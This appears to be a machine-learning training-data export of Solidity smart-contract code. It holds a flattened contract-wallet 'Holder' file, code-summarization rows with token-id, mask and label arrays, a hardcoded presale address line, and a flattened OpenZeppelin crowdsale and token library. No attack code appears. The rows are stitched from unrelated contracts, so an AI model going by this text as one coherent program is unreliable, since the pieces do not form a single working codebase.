return ITokenWhitelist(_ensResolve(_tokenWhitelistNode)).getERC20RecipientAndAmount(_destination, _data);
}
/// @notice Checks whether a token is available.
/// @return bool available or not.
function _isTokenAvailable(address _a) internal view returns (bool) {
( , , , bool available, , , ) = _getTokenInfo(_a);
return available;
}
/// @notice Checks whether a token is redeemable.
/// @return bool redeemable or not.
function _isTokenRedeemable(address _a) internal view returns (bool) {
( , , , , , bool redeemable, ) = _getTokenInfo(_a);
return redeemable;
}
/// @notice Checks whether a token is loadable.
/// @return bool loadable or not.
function _isTokenLoadable(address _a) internal view returns (bool) {
( , , , , bool loadable, , ) = _getTokenInfo(_a);
return loadable;
}
/// @notice This gets the address of the stablecoin.
/// @return the address of the stablecoin contract.
function _stablecoin() internal view returns (address) {
return ITokenWhitelist(_ensResolve(_tokenWhitelistNode)).stablecoin();
}
}
// File: holder.sol
/**
* Holder (aka Asset Contract) - The Consumer Contract Wallet
* Copyright (C) 2019 The Contract Wallet Company Limited
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity ^0.5.10;
/// @title Holder - The TKN Asset Contract
/// @notice When the TKN contract calls the burn method, a share of the tokens held by this contract are disbursed to the burner.
contract Holder is Balanceable, ENSResolvable, Controllable, Transferrable, TokenWhitelistable {
using SafeMath for uint256;
event Received(address _from, uint _amount);
event CashAndBurned(address _to, address _asset, uint _amount);
event Claimed(address _to, address _asset, uint _amount);
/// @dev Check if the sender is the burner contract
modifier onlyBurner() {
require (msg.sender == _burner, "burner contract is not the sender");
_;
}
// Burner token which can be burned to redeem shares.
address private _burner;
/// @notice Constructor initializes the holder contract.
/// @param _burnerContract_ is the address of the token contract TKN with burning functionality.
/// @param _ens_ is the address of the ENS registry.
/// @param _tokenWhitelistNode_ is the ENS node of the Token whitelist.
/// @param _controllerNode_ is the ENS node of the Controller
constructor (address _burnerContract_, address _ens_, bytes32 _tokenWhitelistNode_, bytes32 _controllerNode_) ENSResolvable(_ens_) Controllable(_controllerNode_) TokenWhitelistable(_tokenWhitelistNode_) public {
_burner = _burnerContract_;
}
/// @notice Ether may be sent from anywhere.
function() external payable {
emit Received(msg.sender, msg.value);
}
/// @notice Burn handles disbursing a share of tokens in this contract to a given address.
/// @param _to The address to disburse to
/// @param _amount The amount of TKN that will be burned if this succeeds
function burn(address payable _to, uint _amount) external onlyBurner returns (bool) {
if (_amount == 0) {
return true;
}
// The burner token deducts from the supply before calling.
uint supply = IBurner(_burner).currentSupply().add(_amount);
address[] memory redeemableAddresses = _redeemableTokens();
for (uint i = 0; i < redeemableAddresses.length; i++) {
uint redeemableBalance = _balance(address(this), redeemableAddresses[i]);
if (redeemableBalance > 0) {
uint redeemableAmount = redeemableBalance.mul(_amount).div(supply);
_safeTransfer(_to, redeemableAddresses[i], redeemableAmount);
emit CashAndBurned(_to, redeemableAddresses[i], redeemableAmount);
}
}
return true;
}
/// @notice This allows for the admin to reclaim the non-redeemableTokens
/// @param _to this is the address which the reclaimed tokens will be sent to
/// @param _nonRedeemableAddresses this is the array of tokens to be claimed
function nonRedeemableTokenClaim(address payable _to, address[] calldata _nonRedeemableAddresses) external onlyAdmin returns (bool) {
for (uint i = 0; i < _nonRedeemableAddresses.length; i++) {
//revert if token is redeemable
require(!_isTokenRedeemable(_nonRedeemableAddresses[i]), "redeemables cannot be claimed");
uint claimBalance = _balance(address(this), _nonRedeemableAddresses[i]);
if (claimBalance > 0) {
_safeTransfer(_to, _nonRedeemableAddresses[i], claimBalance);
emit Claimed(_to, _nonRedeemableAddresses[i], claimBalance);
}
}
return true;
}
/// @notice Returned the address of the burner contract
/// @return the TKN address
function burner() external view returns (address) {
return _burner;
}
}
|
@notice Update ERC20 token exchange rate. @param _token ERC20 token contract address. @param _rate ERC20 token exchange rate in wei. @param _updateDate date for the token updates. This will be compared to when oracle updates are received. Require that the token exists. Update the token's rate. Update the token's last update timestamp. Emit the rate update event.
|
function updateTokenRate(address _token, uint _rate, uint _updateDate) external onlyAdminOrOracle {
require(_tokenInfoMap[_token].available, "token is not available");
_tokenInfoMap[_token].rate = _rate;
_tokenInfoMap[_token].lastUpdate = _updateDate;
emit UpdatedTokenRate(msg.sender, _token, _rate);
}
| 913,799 |
[
1,
1891,
4232,
39,
3462,
1147,
7829,
4993,
18,
225,
389,
2316,
4232,
39,
3462,
1147,
6835,
1758,
18,
225,
389,
5141,
4232,
39,
3462,
1147,
7829,
4993,
316,
732,
77,
18,
225,
389,
2725,
1626,
1509,
364,
326,
1147,
4533,
18,
1220,
903,
506,
15843,
358,
1347,
20865,
4533,
854,
5079,
18,
12981,
716,
326,
1147,
1704,
18,
2315,
326,
1147,
1807,
4993,
18,
2315,
326,
1147,
1807,
1142,
1089,
2858,
18,
16008,
326,
4993,
1089,
871,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1089,
1345,
4727,
12,
2867,
389,
2316,
16,
2254,
389,
5141,
16,
2254,
389,
2725,
1626,
13,
3903,
1338,
4446,
1162,
23601,
288,
203,
3639,
2583,
24899,
2316,
966,
863,
63,
67,
2316,
8009,
5699,
16,
315,
2316,
353,
486,
2319,
8863,
203,
3639,
389,
2316,
966,
863,
63,
67,
2316,
8009,
5141,
273,
389,
5141,
31,
203,
3639,
389,
2316,
966,
863,
63,
67,
2316,
8009,
2722,
1891,
273,
389,
2725,
1626,
31,
203,
3639,
3626,
19301,
1345,
4727,
12,
3576,
18,
15330,
16,
389,
2316,
16,
389,
5141,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x4ad00D296eA29fA4D4D3AfC0FD024a698878Fbc2/sources/browser/NewUdonMasterChef.sol
|
dev addr for presale
|
_dewpresale = 0x7bF680be724568491f47Bcf457D6d4B9dE35fD9b;
| 8,425,303 |
[
1,
5206,
3091,
364,
4075,
5349,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
389,
323,
8612,
455,
5349,
273,
374,
92,
27,
70,
42,
26,
3672,
2196,
27,
3247,
4313,
5193,
12416,
74,
9462,
38,
8522,
7950,
27,
40,
26,
72,
24,
38,
29,
72,
41,
4763,
74,
40,
29,
70,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
// File: node_modules\zeppelin-solidity\contracts\math\SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
// File: node_modules\zeppelin-solidity\contracts\crowdsale\Crowdsale.sol
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overriden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropiate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
/**
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
// File: node_modules\zeppelin-solidity\contracts\ownership\Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: node_modules\zeppelin-solidity\contracts\crowdsale\validation\TimedCrowdsale.sol
/**
* @title TimedCrowdsale
* @dev Crowdsale accepting contributions only within a time frame.
*/
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
/**
* @dev Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
/**
* @dev Constructor, takes crowdsale opening and closing times.
* @param _openingTime Crowdsale opening time
* @param _closingTime Crowdsale closing time
*/
constructor(uint256 _openingTime, uint256 _closingTime) public {
// solium-disable-next-line security/no-block-members
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp > closingTime;
}
/**
* @dev Extend parent behavior requiring to be within contributing period
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
// File: node_modules\zeppelin-solidity\contracts\crowdsale\distribution\FinalizableCrowdsale.sol
/**
* @title FinalizableCrowdsale
* @dev Extension of Crowdsale where an owner can do extra work
* after finishing.
*/
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: node_modules\zeppelin-solidity\contracts\crowdsale\emission\MintedCrowdsale.sol
/**
* @title MintedCrowdsale
* @dev Extension of Crowdsale contract whose tokens are minted in each purchase.
* Token ownership should be transferred to MintedCrowdsale for minting.
*/
contract MintedCrowdsale is Crowdsale {
/**
* @dev Overrides delivery by minting tokens upon purchase.
* @param _beneficiary Token purchaser
* @param _tokenAmount Number of tokens to be minted
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\CappedToken.sol
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
// File: node_modules\zeppelin-solidity\contracts\math\Math.sol
/**
* @title Math
* @dev Assorted math operations
*/
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
// File: node_modules\zeppelin-solidity\contracts\payment\Escrow.sol
/**
* @title Escrow
* @dev Base escrow contract, holds funds destinated to a payee until they
* withdraw them. The contract that uses the escrow as its payment method
* should be its owner, and provide public methods redirecting to the escrow's
* deposit and withdraw.
*/
contract Escrow is Ownable {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private deposits;
function depositsOf(address _payee) public view returns (uint256) {
return deposits[_payee];
}
/**
* @dev Stores the sent amount as credit to be withdrawn.
* @param _payee The destination address of the funds.
*/
function deposit(address _payee) public onlyOwner payable {
uint256 amount = msg.value;
deposits[_payee] = deposits[_payee].add(amount);
emit Deposited(_payee, amount);
}
/**
* @dev Withdraw accumulated balance for a payee.
* @param _payee The address whose funds will be withdrawn and transferred to.
*/
function withdraw(address _payee) public onlyOwner {
uint256 payment = deposits[_payee];
assert(address(this).balance >= payment);
deposits[_payee] = 0;
_payee.transfer(payment);
emit Withdrawn(_payee, payment);
}
}
